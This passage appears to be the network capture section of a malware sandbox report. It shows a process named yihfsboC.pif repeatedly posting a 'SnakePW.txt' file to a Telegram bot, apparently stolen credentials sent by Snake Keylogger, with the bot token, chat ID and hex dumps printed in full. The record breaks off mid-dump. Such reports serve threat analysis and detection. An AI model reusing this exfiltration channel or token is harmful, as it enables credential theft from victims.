T4nvr0Ue0VddCCnztglDd/UbsGxG+W3LjwqnkBDnxu2OjcX26fO7h4HMPaEYuOn+IsK81gobJKkXmSVpCH6iOGg1gr/VpeBppQvCdgVl5sIPioA1QV74PlNM+Fa8ay4hqD7axALFY51KBphQa3nh9gOAL4SFLObQAiZSKA2Gf6VLKsGnuSm52Hb7m10pziUzaY7WoqCDwNgV2aRSN5W8UB2waHIKKjgvQE8BeBHngdgHmv3nBFMY5G7grkzlXwq
2024-11-26 07:24:46 UTC	16384	IN	Data Raw: 66 38 69 6b 53 55 6b 77 48 6c 4b 38 50 69 73 4c 53 71 30 63 6b 6f 46 65 7a 30 37 62 70 6e 33 41 4e 72 38 72 47 69 62 4a 2f 57 46 57 6a 63 4f 53 2b 39 4d 49 2f 6e 55 75 4f 4c 4c 77 6e 6d 77 45 42 45 5a 75 74 6f 74 71 47 67 39 6d 69 47 36 4f 44 63 69 77 33 49 4a 37 44 4a 36 6e 6e 57 66 42 45 44 57 6e 46 30 41 67 6e 2f 77 45 77 7a 74 31 51 48 6b 73 44 66 74 57 72 48 45 4a 36 46 42 36 30 79 66 6c 34 44 58 2b 32 72 2f 54 6a 72 64 4d 2b 30 54 5a 42 4f 37 4c 4e 37 6e 63 68 7a 74 74 6b 41 35 70 32 35 57 4c 46 72 4a 6f 4c 34 2b 41 6a 61 53 76 45 41 30 42 35 48 2b 36 50 5a 4c 69 69 68 79 6b 32 62 78 31 76 78 51 6a 44 6c 4e 4e 54 68 6c 57 4c 55 66 2b 4d 31 66 75 68 59 53 49 56 34 30 44 7a 41 64 54 6a 4c 6c 73 67 36 75 79 79 36 55 5a 43 72 52 62 72 4c 4b 61 54 4e 45 Data Ascii: f8ikSUkwHlK8PisLSq0ckoFez07bpn3ANr8rGibJ/WFWjcOS+9MI/nUuOLLwnmwEBEZutotqGg9miG6ODciw3IJ7DJ6nnWfBEDWnF0Agn/wEwzt1QHksDftWrHEJ6FB60yfl4DX+2r/TjrdM+0TZBO7LN7nchzttkA5p25WLFrJoL4+AjaSvEA0B5H+6PZLiihyk2bx1vxQjDlNNThlWLUf+M1fuhYSIV40DzAdTjLlsg6uyy6UZCrRbrLKaTNE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49742	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:08 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0dc18a308c59 Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:25:08 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 64 63 31 38 61 33 30 38 63 35 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0dc18a308c59Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:08 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:08 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 30 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388842,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605908,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49764	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:19 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0dc191055343 Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:25:19 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 64 63 31 39 31 30 35 35 33 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0dc191055343Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:19 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:19 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:19 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 31 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388844,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605919,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49770	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:20 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0dc19698755d Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:20 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 64 63 31 39 36 39 38 37 35 35 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0dc19698755dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:20 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:21 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 32 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388846,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605920,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49775	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:22 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0dd94d3b31f7 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:22 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 64 64 39 34 64 33 62 33 31 66 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0dd94d3b31f7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:22 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:23 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 32 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388848,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605922,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49776	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:23 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0dcf44be8900 Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:25:23 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 64 63 66 34 34 62 65 38 39 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0dcf44be8900Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:25:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:23 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:23 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 32 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388850,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605923,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49781	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:24 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0df0efc49c34 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:24 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 64 66 30 65 66 63 34 39 63 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0df0efc49c34Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:25 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:26 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 32 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388852,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605925,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49786	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:27 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e138cddbc0c Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:27 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 31 33 38 63 64 64 62 63 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e138cddbc0cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:27 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:28 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 